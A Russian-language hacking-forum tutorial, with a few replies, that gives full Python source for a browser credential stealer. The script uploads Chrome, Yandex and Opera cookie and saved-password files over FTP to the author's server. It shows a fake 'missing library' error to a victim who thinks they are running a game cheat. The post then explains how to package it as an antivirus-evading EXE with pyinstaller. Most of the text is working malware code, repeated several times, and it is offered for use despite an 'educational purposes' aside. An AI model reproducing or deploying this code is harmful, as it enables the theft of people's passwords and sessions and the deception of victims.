Всем привет, это моя первая статья, сразу хочу сказать) Напишем сегодня ******* на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 ) Начнем с самого простого, это подключение библиотек import os.path import getpass from ftplib import FTP import random con = FTP("хост","логин","пароль") Код import os.path import getpass from ftplib import FTP import random con = FTP("хост","логин","пароль") первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то существует ли она в природе вторая библиотека ( getpass ) - используется для получения юзернейма пользователя под которым запущен процесс, это нужно для доступа к папке AppData третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла который отправляем на сервер И напоследок мы подключаемся по ftp по логину паролю и хосту. Теперь перейдем к более интересным вещам, чем просто библиотеки, мы напишем уже сами пути к директориям, где лежат наши пароли, а пароли мы будем воровать(в учеб.целях) из браузеров - Opera, Yandex, Google Chrome Итак, вот код, пишем его, далее будем его разбирать UserName = '\\' + getpass.getuser() dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies' dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies" dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker" dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies" dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" Код UserName = '\\' + getpass.getuser() dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies' dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies" dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker" dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies" dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" UserName - принимает значения имя текущего пользователя dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже.... У нас имеются директории, у нас есть библиотеки, для работы, что же дальше? Думаю пора приступать к основном задаче, это написание непосредственно *******а. Вот код, вы пока напишите его, а я вам потом расскажу о нем )) dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox" dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex" dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software" def check(): if (os.path.exists(dir_google)) == True: filename = "google"+str(random.randint(1, 10000)) filename2 = "google_pass" + str(random.randint(1, 10000)) with open(dir_cookie_google, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_google, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_opera)) == True: filename = "opera"+str(random.randint(1, 10000)) filename2 = "opera_pass" + str(random.randint(1, 10000)) with open(dir_cookie_opera, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_opera, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_yandex)) == True: filename = "yandex"+str(random.randint(1, 10000)) filename2 = "yandex_pass" + str(random.randint(1, 10000)) with open(dir_cookie_yandex, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_yandex, "rb") as content: Код dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox" dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex" dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software" def check(): if (os.path.exists(dir_google)) == True: filename = "google"+str(random.randint(1, 10000)) filename2 = "google_pass" + str(random.randint(1, 10000)) with open(dir_cookie_google, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_google, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_opera)) == True: filename = "opera"+str(random.randint(1, 10000)) filename2 = "opera_pass" + str(random.randint(1, 10000)) with open(dir_cookie_opera, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_opera, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_yandex)) == True: filename = "yandex"+str(random.randint(1, 10000)) filename2 = "yandex_pass" + str(random.randint(1, 10000)) with open(dir_cookie_yandex, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_yandex, "rb") as content: Код получился не маленький, что есть то есть. Рассмотрим первые строчки, в начале до функции мы записываем в переменные адреса наших директорий, для последующей проверки на валидность. Зачем это нужно? спросите вы меня, да просто так проще! Зачем ставить try, except если можно проверить на валидность с помощью os.path.exits. Далее у нас идет функция, со множествами if , тут ничего ничего сложного нету, все просто: if (os.path.exists(dir_google)) == True: filename = "google"+str(random.randint(1, 10000)) filename2 = "google_pass" + str(random.randint(1, 10000)) with open(dir_cookie_google, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_google, "rb") as content: con.storbinary("STOR %s" % filename2, content) Код if (os.path.exists(dir_google)) == True: filename = "google"+str(random.randint(1, 10000)) filename2 = "google_pass" + str(random.randint(1, 10000)) with open(dir_cookie_google, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_google, "rb") as content: con.storbinary("STOR %s" % filename2, content) Мы проверяем является ли директория валидной, а после уже открываем ее, и отправляем файл на наш сервер FTP. Такс..., функцию написали, библиотеки подключили, директории есть, что не хватает? Думаю не хватает задействовать функцию и вывести на экран какую нибудь псевдо-ошибку, что мол библиотека не подключена и все дела.. Будем действовать по такой схеме)) Вот код, объяснять тут думаю нечего: check() print("Error library import HOUII.dll") print("Error RUN cheat") input() Код check() print("Error library import HOUII.dll") print("Error RUN cheat") input() НО, я все же расскажу, первая строка - вызываем функцию, которая ворует пароли. Далее мы выводим сообщения об якобы ошибке которой на деле и нет, что бы пользователь думал что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. но как оказалось библиотеки видите ли у него нет)) Вот и весь код, ниже он целиком: Python: import os.path import getpass from ftplib import FTP import random con = FTP("хост","логин","пароль") """ Hack to directory """ UserName = '\\' + getpass.getuser() dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies' dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies" dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker" dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies" dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox" dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex" dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software" def check(): if (os.path.exists(dir_google)) == True: filename = "google"+str(random.randint(1, 10000)) filename2 = "google_pass" + str(random.randint(1, 10000)) with open(dir_cookie_google, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_google, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_opera)) == True: filename = "opera"+str(random.randint(1, 10000)) filename2 = "opera_pass" + str(random.randint(1, 10000)) with open(dir_cookie_opera, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_opera, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_yandex)) == True: filename = "yandex"+str(random.randint(1, 10000)) filename2 = "yandex_pass" + str(random.randint(1, 10000)) with open(dir_cookie_yandex, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_yandex, "rb") as content: con.storbinary("STOR %s" % filename2, content) check() print("Error library import HOUII.dll") print("Error RUN cheat") input() Код Python: import os.path import getpass from ftplib import FTP import random con = FTP("хост","логин","пароль") """ Hack to directory """ UserName = '\\' + getpass.getuser() dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies' dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies" dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker" dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies" dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox" dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex" dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software" def check(): if (os.path.exists(dir_google)) == True: filename = "google"+str(random.randint(1, 10000)) filename2 = "google_pass" + str(random.randint(1, 10000)) with open(dir_cookie_google, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_google, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_opera)) == True: filename = "opera"+str(random.randint(1, 10000)) filename2 = "opera_pass" + str(random.randint(1, 10000)) with open(dir_cookie_opera, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_opera, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_yandex)) == True: filename = "yandex"+str(random.randint(1, 10000)) filename2 = "yandex_pass" + str(random.randint(1, 10000)) with open(dir_cookie_yandex, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_yandex, "rb") as content: con.storbinary("STOR %s" % filename2, content) check() print("Error library import HOUII.dll") print("Error RUN cheat") input() У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК? Думаю ответ очевиден - pyinstaller Давайте скачаем его: pip install pyinstaller Код pip install pyinstaller Далее скомпилируем его в EXE'шник, дабы было все проще у нас )) pyinstaller -F <my_script>.py Код pyinstaller -F <my_script>.py Вот и все, по сути у нас есть EXE файл, который не палится антивирусами, ну разве что windows защитник может его заподозрить, все же мы ходим по директориям. Кроме того еще и отправляем файлы на какой то не понятный сервер.... НО на практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны бэкдоры! он говорит - нет, там нету ничего.... Вот так вот все, всем спасибо! рад был поделится с вами своим скриптом Автор NNullday
Забыл сказать, что работать будет не везде, ибо зависимость от того, установлен ли python на компьютере жертвы или нет.
Любой скрипт на питоне палится ёбанным АВ --- Сообщение объединено с предыдущим 3 апр 2020 Но код ахуенный